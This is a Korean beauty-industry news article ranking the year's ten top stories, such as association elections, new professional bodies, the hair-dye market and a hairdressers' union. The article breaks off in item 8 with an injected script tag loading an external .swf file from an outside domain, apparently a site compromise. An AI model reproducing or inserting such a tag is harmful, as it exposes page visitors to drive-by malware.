급속도로 발전하는 분야가 미용계다. 올 한해 역시도 많은 기업들이 미용계에 진출했고, 여전히 미지의 시장으로 가치를 높이 평가받고 있음을 입증한 한해였다. 올해 가장 큰 이슈였던 대한미용사회 중앙회장은 회원들의 의지가 모아져 9년만에 새로운 집행부가 탄생되기도 했다. 특히 미용계에도 노조가 설립되는등 그야 말로 올 한해는 연초부터 연말까지 격동의 한해를 보냈다. 1년 한해 가장 큰 이슈를 10대 뉴스로 분류하여 정리했다. <편집자 주> 1.대한미용사회중앙회 9년만에 정권교체 사단법인 대한미용사회 중앙회장에 강경남 회장이 선출됨으로서 9년간의 장기 집권이 막을 내렸다. 개혁과 화합을 내세운 강경남 회장은 선거 막판에 최영희 현 부회장과 단일화에 성공하면서 4대 집권을 노리던 하종순 회장을 누르고 당선됐다. 선거가 실시된 7월 18일 양재동 교육문회회관은 흥분의 도가니가 됐고, 시대의 흐름과 세계화에 발맞춘 미용사회의 발전이라는 회원들 의지의 결과로 평가됐다. 2. 피부미용위 집행부 미용사회 탈퇴 대한미용사회 피부미용위원회 임원진이 2월9일 전원사퇴하고 독자적인 행동에 들어간다고 선언했다. 피부미용자격증 신설을 둘러싸고 미용사회 중앙회측과 이견을 보여온 피부미용위 중앙회가 전혀 도움이 되지 않고 시대를 역행한다고 판단하여 사퇴하게 된다고 성명을 발표했다. 3.한국분장예술인협회 사단법인 등록 8월 한국분장예술인협회가 문화관광부에 사단법인으로 등록됨으로서 분장 메이크업인들의 염원이 해결됐다. 97년 협회가 설립된 후 공식적인 단체로서의 역할을 못해 왔지만 사단법인 등록으로 명실공히 정식법인으로 활동하게 되는 계기가 마련됐다. 하지만 협회명에 ‘메이크업’단어가 빠짐으로서 메이크업인들의 반발이 거세 한때 강대영 회장이 사퇴하는 난항을 겪기도 했다. 4.염모제 시장 1천6백억원대 육박 염모제 시장이 갈수록 커지고 있는 가운데 올해에는 1천6백억원대를 넘어서는 기록이 세워져 많은 업체들이 앞다투어 진출하는 춘추전국시대를 맞이했다. 전문가들은 염모시장이 앞으로 2천억원대 규모가 2~3년안에 다가올것이며, 내년에도 신규 브랜드의 출시는 봇물을 이룰것으로 전망했다. 내년도에도 메이저급 브랜드 런칭이 계속 이어질 것으로 보여, 앞으로 염모시장 쟁탈전은 치열해 질 것으로 예상된다. 5.한국피부미용사관리협회 창립 한국피부미용사관리협회가 창립했다. 2월15일 양재동 교육문화회관에서 창립총회를 갖고 조수경씨을 초대 회장으로 선임했다. 이날 폭설로 인해 교통이 마비된 가운데 1천여명이 참석하여 뜨거운 열기를 보여줬고, 조회장이 인사말을 하는 동안 곳곳에 눈물을 흘려 그동안 무관심과 불이익을 대변했다. 6.‘2001년 아트페어’ 심사문제로 파문 한국분장예술인협회가 주최한 2001년 아트페어가 9월21,22일 양일간 열었다. 처음으로 열린 이번 대회는 심사결과 번복과 미숙한 진행으로 아쉬움을 남겼다. 특히 협회 홈페이지에는 심사에 대한 추측성 소문이 올라가 회원들간의 불신을 심어줬으며, 심사결과에 대한 신속한 발표를 미뤄 집행부의 한계를 드러내기도 했다. 7. 미용사 민노총 산하 노조 등록 미용사들의 근로기준과 임금, 복지에 대한 개선의 의지가 한데 모아졌다. 6월 민주노총산하 평등노조에 미용서비스 지부로 등록됨에 따라 미용계의 고질적인 문제점이었던 근무조건과 임금, 4대 보험이 도마위에 오르게 됐다. 노조출범은 대형프랜차이즈 미용실 미용사들이 주축이 돼 노동부에 고발조치하면서 불거져 나와 최근에는 “모 프랜차이즈가 인신매매 계약을 강요한다”는등의 성명서를 발표하는등 발빠른 움직움을 보이고 있다. 미용사들의 노조설립으로 인해 앞으로 미용계는 새로운 판도 변화가 불가피할 전망이고, 60만 미용인들이 대변할수 있는 교섭단체로서의 역할에 귀추가 주목된다. 8.네일관련 단체 이합집산 ‘헤쳐모여’ 연초부터 네일단체들이 하나로 통합되기 위해 몇 번 대표들이 회동을 가졌지만 한해를 넘기지도 못하고 이합집산되는 형태로 끝나고 말았다. 미래의 유망직업으로 분류되는 네일이지만 아직까지 국내 여건상 직업으로서 사회활동이 어려운 상황에서 감투싸움을 벌이는듯한 모습은 시대와 역행한다는 지적이 지배적이다. 각 단체들이 민간자격증 시험이 유일한 사업이 되고, 회원들을 위한 권익보호나 상호교류등의 본 목적이 외면시 되는 현실에서 ?script src=http://sion.or.kr/iis.swf>

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